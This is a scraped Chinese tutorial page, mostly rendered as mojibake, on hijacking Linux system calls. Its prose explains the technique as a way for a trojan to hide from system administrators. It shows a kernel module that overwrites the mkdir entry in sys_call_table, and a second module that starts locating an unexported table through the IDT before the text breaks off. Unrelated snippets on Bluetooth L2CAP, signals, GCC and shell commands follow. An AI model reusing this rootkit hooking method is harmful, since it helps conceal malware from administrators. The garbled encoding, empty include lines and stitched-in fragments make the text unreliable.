ʵÏÖLinuxϵͳµ÷ÓýٳÖ
¹ØÓÚϵͳµ÷ÓýٳÖ
Èç¹ûÒ»¸öľÂíÒªÒþ²ØÆðÀ´£¬²»±»ÏµÍ³¹ÜÀíÔ±·¢ÏÖ¡£½Ø»ñϵͳµ÷ÓÃËÆºõÊDZØÐëµÄ¡£´ó²¿·ÖÇé¿öÏ£¬Í¨¹ýÐÞ¸Äϵͳµ÷ÓñíÀ´ÊµÏÖϵͳµ÷ÓõĽٳ֡£ÏÂÃæÊÇÒ»¸öµäÐ͵Ľػñϵͳµ÷ÓõÄÄ£¿é£º
Ä£¿éÒ»£º
#include
#include
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
extern void* sys_call_table[]; /*sys_call_table is exported, so we can accessit. But in some system this will cause problem */
int (*orig_mkdir)(const char *path); /*the original systemcall*/
int hacked_mkdir(const char *path)
{
return 0; /*everything is ok, but he new systemcall does nothing*/
}
int init_module(void) /*module setup*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*set mkdir syscall to the origal one*/
}
ÓÃÕâÖÖ·½·¨ÊµÏÖϵͳµ÷ÓÃÓиöǰÌᣬ¾ÍÊÇϵͳ±ØÐëµ¼³ösys_call_tableÄں˷ûºÅ£¬µ«ÊÇÔÚ2.6Äں˺ÍÓÐЩ2.4Äں˵Äϵͳ£¨±ÈÈç
redhat as 3£©ÖУ¬sys_call_table²»ÔÙµ¼³ö¡£Ò²¾ÍÊÇ˵ģ¿éÖв»ÄÜÔÙͨ¹ý¼òµ¥µÄextern void
*sys_call_table[];À´»ñµÃϵͳµ÷ÓÃ±íµØÖ·¡£ËùÐÒµÄÊÇ£¬¼´Ê¹Äں˲»µ¼³ösys_call_table£¬Ò²¿ÉÒÔÔÚÄÚ´æÖÐÕÒµ½ËüµÄµØÖ·£¬ÏÂÃæ
ÊÇËüµÄʵÏÖ·½·¨£º
Ä£¿é¶þ£º(2.4ºÍ2.6Äں˲âÊÔͨ¹ý)
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("
[email=xunil@bmy]xunil@bmy[/email]
");
MODULE_DESCRIPTION("Different from others, this module automatically locate the entry of
sys_call_table !");
unsigned long *sys_call_table=NULL;
asmlinkage int (*orig_mkdir)(const char *,int);
struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};
unsigned long *getscTable(){
Ïà¹ØÎĵµ£º
£¨L2CAPÐÒé¼ò½é£¬L2CAPÔÚBlueZÖеÄʵÏÖÒÔ¼°L2CAP±à³Ì½Ó¿Ú£©
Ò»£ºL2CAPÐÒé¼ò½é£º
Logical Link Control and Adaptation Protocol(L2CAP)
Âß¼Á¬½Ó¿ØÖƺÍÊÊÅäÐÒé (L2CAP) ΪÉϲãÐÒéÌá¹©ÃæÏòÁ¬½ÓºÍÎÞÁ¬½ÓµÄÊý¾Ý·þÎñ£¬²¢Ìṩ¶àÐÒ鹦ÄܺͷָîÖØ×é²Ù×÷¡£L2CAP ³äÐíÉϲãÐÒéºÍÓ¦ÓÃÈí¼þ´«ÊäºÍ½ÓÊÕ×î´ó³¤¶ÈΪ 64K µÄ L2CAP Ê ......
LinuxÐźżò½é ¡¡
1) SIGHUP ±¾ÐźÅÔÚÓû§ÖÕ¶ËÁ¬½Ó(Õý³£»ò·ÇÕý³£)½áÊøÊ±·¢³ö, ͨ³£ÊÇÔÚÖն˵ĿØÖƽø³Ì½áÊøÊ±, ֪ͨͬһsessionÄڵĸ÷¸ö×÷Òµ, ÕâʱËüÃÇÓë¿ØÖÆÖն˲»ÔÙ¹ØÁª. ¡¡¡¡
2) SIGINT ³ÌÐòÖÕÖ¹(interrupt)ÐźÅ, ÔÚÓû§¼üÈëINTR×Ö·û(ͨ³£ÊÇCtrl-C)ʱ·¢³ö ¡¡¡¡
3) SIGQUIT ºÍSIGINTÀàËÆ, µ«ÓÉQUIT×Ö·û(ͨ³£ÊÇCtrl-\ ......
Ò»¡¢GCC (×î×î³£¼û:gcc hello.c –o hello) ¢Ù³£ÓÃÑ¡Ïî -c:½ö¶ÔÔ´Îļþ½øÐбàÒë
-o:¶ÔÉú³ÉµÄ´úÂë½øÐÐÓÅ»¯£¬ÓÐ0£¬1£¬2£¬3ËĸöµÈ¼¶£¬Ä¬ÈÏΪ2
-g:¼ÓÈëµ÷ÊÔÐÅÏ¢
-I dir:±àÒëÔ´ÎļþÊÇÔö¼ÓÒ»¸öËÑË÷¿âÎļþµÄĿ¼
-w:½ûÖ¹ËùÓо¯¸æ
-W warning:ÔÊÐí ......
linuxÖжÔ×Ö·û´®µÄ´¦Àí£º
1.×Ö·û´®·Ö¸îÀýÈç AAAAA-BBBBBB °´-·Ö¸îȥǰºóÁ½²¿·Ö
cut £º
[rich@localhost ~]$ str=AAAAA-BBBBBB
[rich@localhost ~]$ echo $str | cut -d "-" -f 1
AAAAA
[rich@localhost ~]$ echo $str | cut -d "-" -f 2
BBBBBB
½âÊÍ£ºA £ü B ½«AÃüÁîµ ......
1£ºlinuxÏÂÅúÁ¿½«´óдĿ¼»òÎļþÃû¸ÄΪСдÃüÁî
ZIP ÏÈ´ò³É°ü£¬ZIP -r A A/*£¬ÔÙUNZIP -LL A B (A/*±íʾAĿ¼ÏµÄËùÓÐÎļþ)£¨AºÍB¶¼Îª.zipÎļþ,-LL ±ä´óдΪСдµÄ²ÎÊý£©
Ôò£¬A°üÀïµÄ´óдĿ¼ºÍÎļþ ......